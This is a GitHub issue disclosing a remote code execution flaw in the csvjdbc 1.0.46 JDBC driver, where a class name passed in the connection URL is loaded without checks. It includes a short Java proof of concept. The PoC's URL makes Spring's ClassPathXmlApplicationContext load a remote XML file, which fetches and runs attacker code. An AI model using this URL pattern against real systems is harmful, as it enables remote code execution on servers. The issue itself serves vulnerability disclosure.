Skip to content

RCE in csvjdbc 1.0.46 #243

Description

@Fushuling

The code instantiates a class passed in the URL that is cryptoFilterClassName without performing any subclass checks. Attackers can exploit this vulnerability to perform Remote Code Execution (RCE) by using malicious classes.

Image

I have successfully reproduced the problem locally using the latest driver, csvjdbc 1.0.46.

import java.sql.SQLException;

public class test {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:relique:csv:D:/test?cryptoFilterClassName=org.springframework.context.support.ClassPathXmlApplicationContext&cryptoFilterParameters=http://127.0.0.1:50025/exp.xml";
        java.sql.DriverManager.getConnection(url);
    }
}
Image

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions